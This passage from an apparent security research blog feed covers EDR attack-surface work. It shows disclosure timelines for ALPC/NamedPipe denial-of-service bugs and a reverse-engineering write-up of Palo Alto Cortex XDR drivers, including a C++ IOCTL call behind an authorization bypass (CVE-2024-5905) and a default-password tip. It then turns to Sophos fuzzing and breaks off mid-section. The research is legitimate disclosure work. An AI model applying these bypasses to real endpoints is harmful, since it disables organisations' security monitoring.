&lt;li&gt;The employee assigned to this case did not have the knowledge to understand and reproduce the case.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;02.10.2023: The case was closed without releasing a fix or providing access to the EDR product with more features.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;SentinelOne Singularity XDR
&lt;ul&gt;
&lt;li&gt;We did not have a fully working environment to test this product.&lt;/li&gt;
&lt;li&gt;ALPC block
&lt;ul&gt;
&lt;li&gt;25.07.2023: Reported that a certain process can be crashed by blocking an ALPC port. However, we could not reproduce it reliably in the limited test environment. We asked for a test license to do a further analysis.&lt;/li&gt;
&lt;li&gt;03.10.2023: After asking for an update on the status, the assigned employee at HackerOne did not know anything.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;NamedPipe block
&lt;ul&gt;
&lt;li&gt;29.09.2023: Reported that the whole product can be blocked by registering NamedPipes instead of ALPC ports.&lt;/li&gt;
&lt;li&gt;02.11.2023: SentinelOne reproduced it. A timeline for a fix is not known.&lt;/li&gt;
&lt;li&gt;22.06.2024: SentinelOne asked for a retest of their fix. However, this was not possible because SentinelOne did not want to provide a test license.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Crowdstrike XDR
&lt;ul&gt;
&lt;li&gt;Initially, no access to a Crowdstrike environment was available. Therefore, it was reported later.&lt;/li&gt;
&lt;li&gt;26.06.2024: Reported that the a certain process can be crashed by blocking an ALPC port. However, some functionality was still available.&lt;/li&gt;
&lt;li&gt;26.06.2024: Crowdstrike reproduced it on the same day.&lt;/li&gt;
&lt;li&gt;05.08.2024: &quot;After careful evaluation, we have determined that the security finding is considered low impact and does not meet the criteria for a CVE&quot; because the kernel-mode driver remains fully operational.&lt;/li&gt;
&lt;li&gt;It is unknown when a fix was published.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;5 Conclusion&lt;/h1&gt;
&lt;p&gt;This research project demonstrated that EDRs can contain relatively simple vulnerabilities. A &quot;novel&quot; type of vulnerability was identified that allows disabling or bypassing several widely used EDRs. Exploitation is relatively easy, requiring only the setup of a scheduled task that registers a specific ALPC port. To our knowledge, similar vulnerabilities have not been previously published for EDR or antivirus software.
However, we could not identify straightforward vulnerabilities such as insecure driver interfaces accessible to low-privileged users. Nevertheless, several EDRs have a direct kernel attack surface accessible to low-privileged users. Fully understanding the true attack surface and authorization model of these drivers requires extensive reverse engineering, which could not be fully completed due to time constraints.
In our opinion, the field of security research on EDR attack surfaces has not been explored in sufficient detail.&lt;/p&gt;
</content:encoded><author>Manuel Feifel</author></item><item><title>Attacking EDRs Part 2: Driver Analysis Results</title><link>https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/</guid><description>The second part describes the process and results of the EDR driver security analysis of Palo Alto Cortex using manual analysis and Sophos Intercept X using snapshot fuzzing. Only minor vulnerabilities were identified (CVE-2024-5905).</description><pubDate>Mon, 17 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This blog post is part of a series analyzing attack surface for Endpoint Detection and Response (EDR) solutions. Parts 1-3 are linked, with concluding notes for that initial sub-series in Part 3.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part1_intro_-_security_analysis_of_edr_drivers/&quot;&gt;Part 1&lt;/a&gt; gives an overview of the attack surface of EDR software and describes the process for analysing drivers from the perspective of a low-privileged user.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/&quot;&gt;Part 2&lt;/a&gt; (&lt;strong&gt;this article&lt;/strong&gt;) describes the results of the EDR driver security analysis. A minor authentication issue in the Windows driver of the Cortex XDR agent was identified (CVE-2024-5905). Additionally a PPL-&quot;bypass&quot; as well as a detection bypass by early startup.
Furthermore, snapshot fuzzing was applied to a Mini-Filter Communication Port of the Sophos Intercept X Windows Mini-Filter driver.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/&quot;&gt;Part 3&lt;/a&gt; describes a DoS vulnerability affecting most Windows EDR agents. This vulnerability allows a low-privileged user to crash/stop the agent permanently by exploiting an issue in how the agent handles preexisting objects in the Object Manager&apos;s namespace. Only some vendors assigned a CVE (CVE-2023-3280, CVE-2024-5909, CVE-2024-20671).&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/attacking_edr_part4_fuzzing_defender_scanning_and_emulation_engine&quot;&gt;Part 4&lt;/a&gt; describes the fuzzing process of Microsoft Defender&apos;s scanning and emulation engine &lt;code&gt;mpengine.dll&lt;/code&gt;. Multiple out-of-bounds read and null dereference bugs were identified by using Snapshot Fuzzing with WTF and kAFL/NYX. These bugs can be used to crash the main Defender process as soon as the file is scanned. None of the bugs appear to be exploitable for code execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;1. Introduction &amp;amp; Summary&lt;/h1&gt;
&lt;p&gt;Following the process outlined in Part 1, there are two candidates with open ACLs for their driver interfaces:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PaloAlto Cortex XDR&lt;/li&gt;
&lt;li&gt;Sophos Intercept X&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The objective was to uncover potential privilege escalation or EDR modification vulnerabilities exploitable by low-privileged attackers. This initial approach did not reveal any serious vulnerabilities but did identify some minor issues, including an authorization bypass for specific IOCTLs in Palo Alto Cortex. To aid other researchers, the subsequent sections detail the analysis process for these drivers.&lt;/p&gt;
&lt;p&gt;We used two different approaches to check for potential vulnerabilities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Manual analysis for logic bugs was conducted for two IOCTL-Handler in PaloAlto Cortex XDR.&lt;/li&gt;
&lt;li&gt;Snapshot-Fuzzing was applied on the &lt;code&gt;MessageCallback&lt;/code&gt; function of a &lt;code&gt;FilterConnectionPort&lt;/code&gt; in Sophos Intercept X. This post gives a brief overview, but does not go into detail on how to perform and debug snapshot fuzzing. There will be a post on Snapshot Fuzzing on the InfoGuard Labs Blog in the future.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;2. Palo Alto Cortex XDR&lt;/h1&gt;
&lt;p&gt;There are three open interfaces with dispatch functions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;tedrdrv.sys: \\.\PaloEdrControlDevice&lt;/li&gt;
&lt;li&gt;cyvrmtgn.sys: \\.\CyvrMit&lt;/li&gt;
&lt;li&gt;tedrpers-&amp;lt;version&amp;gt;.sys: \\.\PANWEdrPersistentDevice11343&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::MSRC
Cortex is the result of a merger between Cyvera and Traps. Consequently, naming conventions may begin with either &quot;t&quot; or with &quot;cyvr&quot;. Usually such a historical grown product is more likely to have logical vulnerabilities.
:::&lt;/p&gt;
&lt;h2&gt;2.1 \\.\PaloEdrControlDevice&lt;/h2&gt;
&lt;p&gt;The dispatch function handling the Major Function code 0xe (Device IO Control) has ~20 cases (different IOCTLs). This offers a lot of functionality and consequently also attack surface.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./driver_dispatch_io_cortex_marked.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Device IO Control Dispatch Function in Cortex &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;After testing some random IOCTLs from the decompiled code using the tool IOCTLplus, we noticed that most of the IOCTLs respond with &quot;Access Denied&quot;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./IOCTLplus_blocked.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; IOCTLplus showing Access denied &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;However, some IOCTLs responded differently&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;0x2260D8&lt;/em&gt; returns 3088 bytes of binary data and does not require an input. We started to search for a client which calls this IOCTL because this should help understanding the data. The source code below shows that these are just statistics which can be printed using the CyTool.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./IOCTLplus_stat.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; IOCTLplus calling 0x2260D8 &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;printf_0(&quot;%s = %I64d\n&quot;, &quot;StatTakeTime&quot;, OutBuffer);
printf_0(&quot;%s = %I64d\n&quot;, &quot;TimeIncrement&quot;, v8);
printf_0(&quot;%s = %I64d\n&quot;, &quot;PerformanceFrequency.QuadPart&quot;, v9);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.FsStreamHandleContextCount&quot;, v10);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.FsStreamContextCount&quot;, v11);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.FsStreamMaxContextCount&quot;, v12);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.FileTotalMessagesSent&quot;, v13);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.FileTotalRemoteFiles&quot;, v14);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.FileTotalLocalFiles&quot;, v15);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.FileNumTimesHashedOnClose&quot;, v16);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.HashStats.NumBytesPurged&quot;, v17);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.HashStats.NumBytesPurgedNewFile&quot;, v18);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.HashStats.TotalNumBytesHashed&quot;, v19);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.HashStats.NumHashOperations&quot;, v20);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Usage of returned data by 0x2260D8 from the decompiled code &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;0x2260D0&lt;/em&gt; gives an interesting response (see below). What can be initialized and who can do it?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./ioctlplus_setpid.PNG&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;To understand how this function is invoked during startup, we set a breakpoint at the loading of &lt;code&gt;tedrdrv.sys&lt;/code&gt; and subsequently another breakpoint at the dispatch function&apos;s entry point.  This was done to observe which IOCTLs are called by which processes after a Windows restart:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; sxe ld tedrdrv.sys
0: kd&amp;gt; g
nt!DebugService2+0x5:
fffff806`16c01015 cc              int     3
0: kd&amp;gt; bp tedrdrv+7E70 &quot;k;!irp rdx detail&quot; 
0: kd&amp;gt; g

[...]

&amp;gt;[IRP_MJ_DEVICE_CONTROL(e), N/A(0)]
            1  0 ffff970f85974e00 ffff970f8c77c380 00000000-00000000    
             \FileSystem\tedrdrv
                Args: 00000114 00000000 0x2260d0 00000000

3: kd&amp;gt; !thread @$thread 0x1f;
THREAD ffff970f8afd1080  Cid 0f28.11f8  Teb: 0000009c0fa7b000 Win32Thread: ffff970f8c99d720 RUNNING on processor 3
IRP List:
    ffff970f8a672480: (0006,0118) Flags: 00060070  Mdl: 00000000
Not impersonating
DeviceMap                 ffffaa08e5036180
Owning Process            ffff970f8ab97080       Image:         cyserver.exe
Attached Process          N/A            Image:         N/A
Wait Start TickCount      1528           Ticks: 0
Context Switch Count      1700           IdealProcessor: 0             
UserTime                  00:00:03.250
KernelTime                00:00:00.265
Win32 Start Address cysvc!CySvcCommandLineHandler (0x00007ffb40f556c0)
Stack Init ffff9405d02ebc90 Current ffff9405d02eb3f0
Base ffff9405d02ec000 Limit ffff9405d02e6000 Call 0000000000000000
Priority 9 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
Child-SP          RetAddr               Call Site
ffff9405`d02eb7f8 fffff802`6042a6b5     tedrdrv+0x7e70
ffff9405`d02eb800 fffff802`608164c8     nt!IofCallDriver+0x55
ffff9405`d02eb840 fffff802`608162c7     nt!IopSynchronousServiceTail+0x1a8
ffff9405`d02eb8e0 fffff802`60815646     nt!IopXxxControlFile+0xc67
ffff9405`d02eba20 fffff802`6060aab5     nt!NtDeviceIoControlFile+0x56
ffff9405`d02eba90 00007ffb`5232d1a4     nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffff9405`d02ebb00)
0000009c`105fc7f8 00007ffb`51d4572b     ntdll!NtDeviceIoControlFile+0x14
0000009c`105fc800 00007ffb`52005611     KERNELBASE!DeviceIoControl+0x6b
0000009c`105fc870 00007ffb`3fbade9d     KERNEL32!DeviceIoControlImplementation+0x81
0000009c`105fc8c0 00007ffb`41e34900     cysvc!CySvcCommandLineHandler+0x10fe3d
0000009c`105fc8c8 00000000`00000000     cysvc!CySvcCommandLineHandler+0x23968a0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p class=&quot;figcaption&quot;&amp;gt; WinDBG Tracing IOCTLs in tedrdrv.sys &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;This revealed that &lt;em&gt;cyserver.exe&lt;/em&gt; calls &lt;code&gt;0x2260D0&lt;/code&gt; from &lt;em&gt;cysvc.dll&lt;/em&gt;, using a buffer length of 0x114.&lt;/p&gt;
&lt;p&gt;We debugged with WinDBG synced to IDA Pro with ret-sync to see what is happening. The IOCTL &lt;code&gt;0x2260D0&lt;/code&gt; sets the ProcessID which is shown in the dispatch function above. Afterwards IOCTLs which compare this ProcessID can be called from the same process.&lt;/p&gt;
&lt;p&gt;In the following screenshot, the red box hightlights calls made before Cyserver (the user-mode component from Cortex) was stopped and the green box shows calls afterwards. This shows that the ProcessId was successfully set to the one of IOCTLplus (see code below which checks the ProcessId for the IOCTL &lt;code&gt;0x2260DC&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./ioctlplus_setpid_disabled_marked.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Setting the ProcessID used in the dispatch function to the one of IOCTLplus after disabling Cyserver &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;case 0x2260DCu:
       if ( (HANDLE)IoGetRequestorProcessId(a2) != ProcessId )
         goto LABEL_34;
       if ( InputBufferLength &amp;lt; 0x6E )
         goto LABEL_99;
       v6 = IO_handle_2260DC_sub_122F20((__int64)IRP_SystemBuffer);
       goto LABEL_171;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p class=&quot;figcaption&quot;&amp;gt; tedrdrv.sys IOCTL 0x2260DC &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;To confirm this behavior during Windows startup, we compiled a small C++ project that opens the device and invokes this function. This program was initiated as a scheduled task.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hDevice = CreateFile(L&quot;\\\\.\\PaloEdrControlDevice&quot;,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);
[...]
bResult = DeviceIoControl(hDevice,
        0x2260D0,
        buf, 0x114,                       // no input buffer
        buf2, 0x114,                      // output buffer
        &amp;amp;junk,                            // # bytes returned
        (LPOVERLAPPED)NULL);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Code to open the device and call an IOCTL &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;This test was successful and the debugger showed that Cyserver itself got Access Denied errors for some IOCTLs because the ProcessId of the program above was initialized and not the one from Cyserver.&lt;/p&gt;
&lt;p&gt;This suggests that a form of authorization bypass was achieved, concurrently blocking some Cortex functionalities. However, the implications remained unclear, as we could not determine if any harmful actions could be executed using the accessible IOCTLs.  Furthermore, only specific IOCTLs could be bypassed. Others incorporate additional security checks in a separate driver, &lt;code&gt;cyvrlpc.sys&lt;/code&gt;, utilized by multiple drivers. &lt;code&gt;Cyvrlpc.sys&lt;/code&gt; exports shared functionalities; for example, &lt;code&gt;cyvrlpc_35&lt;/code&gt; (exported ordinal) implements supplementary security checks that cannot be circumvented using the aforementioned method.&lt;/p&gt;
&lt;p&gt;This authorization bypass was reported to PaloAlto on September 12, 2023. A fix was published on June 12, 2024 as &lt;a href=&quot;https://security.paloaltonetworks.com/CVE-2024-5905&quot;&gt;CVE-2024-5905&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;After plenty of debugging and reverse engineering, we noticed that Cyvrlpc manages an (AVL) table with all processes. It registers the function &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt; and inserts each process in this table. Each entry has certain flags which indicate the permissions of the process for the drivers. All processes from Cortex itself have a certain bit set which no other process has set. This bit is checked in some cyvrlpc.sys functions. The flags are set in diferent functions and the whole process is rather complex. They are also influenced by another driver cyvrmtgn.sys which has an IOCTL for authentication purposes.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./avltable.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; The AVL Table struct from IDA &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0: kd&amp;gt;  !rtlavl cyvrlpc+5ECC0
NodeCounter - Node             (Parent,Left,Right)
   00000000 - ffff970f859cc410
(ffff970f859cc4d0,0000000000000000,0000000000000000)
   00000001 - ffff970f859cc4d0
(ffff970f85c70d50,ffff970f859cc410,ffff970f87cc1010)
   00000002 - ffff970f85ae32d0
(ffff970f87cc1010,0000000000000000,0000000000000000)
   [...]

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Part of the AVL Table in WinDBG &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;We did not exactly reverse how each flag is set for each process. However, the one bit which is set for cyserver.exe and other Cortex processes is only set if the SID of the token from the calling process is &quot;S-1-5-18&quot; (SYSTEM) and at the same time the file path matches to one from Cortex such as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;\Device\HarddiskVolume4\Program Files\Palo Alto Networks\Traps\cyserver.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./tedrdrv_sid_compare_marked.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Checking the SID from the calling process in cyvrlpc.sys &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./tedrdrv_str_compare1.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Checking the file path of the calling process &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./tedrdrv_str_compare2.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Checking the file path of the calling process &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;At this point we stopped further looking into this and moved on. It would be interesting if the file path checking could be bypassed.&lt;/p&gt;
&lt;h2&gt;2.2 \\.\PANWEdrPersistentDevice11343&lt;/h2&gt;
&lt;p&gt;There is one dispatch function for all Major Function codes. This function is pretty small and does not seem to have any interesting functionality.&lt;/p&gt;
&lt;h2&gt;2.3 \\.\CyvrMit&lt;/h2&gt;
&lt;p&gt;The dispatch function which handles the Major Function code 0xe (Device IO Control) handles more than 35 different IOCTLs.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./cyvr_driver_1_marked.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Device IO Control Dispatch Function of &lt;code&gt;\\.\CyvrMit&lt;/code&gt; &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The green boxes refer to some kind of access control flags which are set in the &lt;code&gt;DISPATCH_CREATE&lt;/code&gt; (analogue to &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt;) function of this interface. This function is called when a handle to this driver interface is obtained. Additionally, the flags are set by an IOCTL which is used for authentication purposes (CyAuthenticate).&lt;/p&gt;
&lt;p&gt;There is a significant advantage in analyzing this driver interface compared to the one above. The main binary that calls this interface is &lt;em&gt;cyapi.dll&lt;/em&gt;, which is used by &lt;em&gt;cyserver.exe&lt;/em&gt; among others. The exported function names of cyapi.dll are not stripped and most of them directly call an IOCTL of &lt;code&gt;\\.\CyvrMit&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./cyapi_auth.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; CyAuthenticate function of cyapi.dll &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;This is very helpful, as IOCTLs can be mapped to meaningful names. At the same time, other important arguments such as the input/output buffers and their length can be looked up. The following table shows some mapped functions that look interesting:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;IOCTL&lt;/th&gt;
&lt;th&gt;Function Name&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x226020&lt;/td&gt;
&lt;td&gt;CyAuthenticate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x226000&lt;/td&gt;
&lt;td&gt;CyEnableMitigationFeature&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x2220E8&lt;/td&gt;
&lt;td&gt;CyStopService&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x2260C4&lt;/td&gt;
&lt;td&gt;CyQueryServerPassword&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x2220E4&lt;/td&gt;
&lt;td&gt;CySetServicePpl&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x222100&lt;/td&gt;
&lt;td&gt;CyCrashService&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x22603C&lt;/td&gt;
&lt;td&gt;CySnapshotProcesses&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Regarding the access to those IOCTLs, it is similar compared to &lt;code&gt;\\.\PaloEdrControlDevice&lt;/code&gt;. Some functions can be called from an arbitrary low privileged user process and some respond with access denied. The authorization model is similar and also relies at least for some part on cyvrlpc.sys. We did not manage to fully understand all aspects of this.&lt;/p&gt;
&lt;p&gt;To observe the sequence of IOCTL calls, we traced all invocations by setting breakpoints at the start and end of the dispatch function. This setup allowed us to log the caller, the input/output buffer lengths, and the contents of these buffers:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;3: kd&amp;gt; bp cyvrmtgn+5920 &quot;.echo ##############NEW; !thread @$thread 1f; r
$t1=rdx; r $t1; !irp $t1 detail; .echo In-Buffer:; dps poi($t1+18); db
poi($t1+18);g;&quot;

3: kd&amp;gt; bp cyvrmtgn+5c70 &quot;.echo ##############END; !irp $t1 detail; .echo
Out-Buffer:; dps poi($t1+18); db poi($t1+18);g;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p class=&quot;figcaption&quot;&amp;gt; WinDBG command to trace IOCTLs in dispatch function &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The following is an extract of the output which shows a call to 0x226020 (CyAuthenticate) with the input 0x800. Generally, the first call is always to CyAuthenticate with a different input buffer depending on the required access.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;##############NEW
Args: 00000000 00000010 226020 00000000
--
In-Buffer:
ffffb583`d9c37e00  00 00 00 00 00 00 00 00-00 08 00 00 00 00 00 00

##############END
Out-Buffer:
ffffb583`d9c37e00  00 00 00 00 00 00 00 00-00 08 00 00 00 00 00 00
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The question arises: how does the driver determine which input parameters are accepted for which calling process?&lt;/p&gt;
&lt;p&gt;We started to test this with the cytool which calls some of the IOCTLs for example when stopping the services. However, this requires a password which is set globally for the tenant to perform modifications.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
Try the default password &apos;Password1&apos; and you might be lucky&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./cytool_stop.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; CyTool &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Cytool also calls &lt;code&gt;0x226020&lt;/code&gt; after entering the password. Now the Input-Buffer looks different:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Args: 00000000 00000010 0x226020 00000000
In-Buffer:
ffff970f`8ae4bec0  00000046`7df6fae0
ffff970f`8ae4bec8  00007ff6`0001ffff

3: kd&amp;gt; db 00000046`7df6fae0
00000046`7df6fae0  50 00 61 00 73 00 73 00-77 00 6f 00 72 00 64 00
P.a.s.s.w.o.r.d.
00000046`7df6faf0  31 00 00 00 5c 01 00 00-d8 28 b2 51 5c 01 00 00
1...\....(.Q\...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first 8 bytes are always 0x0 if cyserver calls 0x226020. However, if called by the cytool a pointer to the password is sent. This means that there are two different ways how the authentication is handled.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./pw_compare.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; This shows the password check inside cyvrmtng.sys &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;We wanted to know how the password hash is obtained against which the supervisor password is compared. Maybe it is retrieved from a place where it could be manipulated. There is also the function &lt;code&gt;CyQueryServerPassword&lt;/code&gt; (0x2260C4). We ended up at some ALPC-communication over which the hash was sent. We&apos;ve never touched ALPC before and therefore decided to have a look at it. Is it possible to spoof a communication partner to retrieve secret data or to send fake data? See &lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/&quot;&gt;Part 3&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;3. Sophos Intercept X&lt;/h1&gt;
&lt;p&gt;The analysis described in Part 1 showed that there are multiple open interfaces:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SophosED.sys
&lt;ul&gt;
&lt;li&gt;Device Driver interfaces
&lt;ul&gt;
&lt;li&gt;\\.\SophosEndpointDefenseScan&lt;/li&gt;
&lt;li&gt;\\.\SophosEndpointDefensePseudoFSScan&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;FilterConnectionPorts
&lt;ul&gt;
&lt;li&gt;&lt;img src=&quot;./sophos_flt.PNG&quot; alt=&quot;sophos_flt&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The device driver interfaces only had very little attack surface which was checked manually. The vast majority of the functionality is implemented in the FilterConnectionPorts.&lt;/p&gt;
&lt;p&gt;For example &lt;code&gt;\SophosEndpointDefenseSyncCommPort&lt;/code&gt; has several different functions. However, they are not that easy to test because most of them require several input parameters which need to be filled with valid data. As time was limited we chose to perform snapshot fuzzing against this interface rather than reverse engineering the code handling the I/O. There is a large call graph from these functions which in turn could be interesting to find common memory corruption bugs.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./sophos_fuzz_target2.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Xrefs graph from MessageCallback function &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;A tip which helps during the debugging of the main driver (SophosED.sys) is to change the global logging-level with a kernel debugger. The flag can easily be identified in all the debug messages. By default it is set to &quot;2&quot;. If the value is changed to &quot;1&quot; debug messages are printed:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./sophos_debug.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Log-Level in SophosED.sys &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./sophos_debug2.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Changing the Log-Level in SophosED.sys with WinDbg &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The following screenshot shows the MessageCallback function of the FilterConnectionPort &lt;code&gt;SophosEndpointDefenseSyncCommPort&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./sophos_fuzz_target1.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; MessageCallback function of \SophosEndpointDefenseSyncCommPort &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Each of the functions called &quot;subfunc*&quot; again differentiates between multiple cases what results in the Xrefs graph shown above.&lt;/p&gt;
&lt;p&gt;We used WTF as a fuzzer because we&apos;ve already been familiar with this and it fits perfectly to this case. It is pretty fast to set up compared to traditional harnessing or kernel fuzzing.
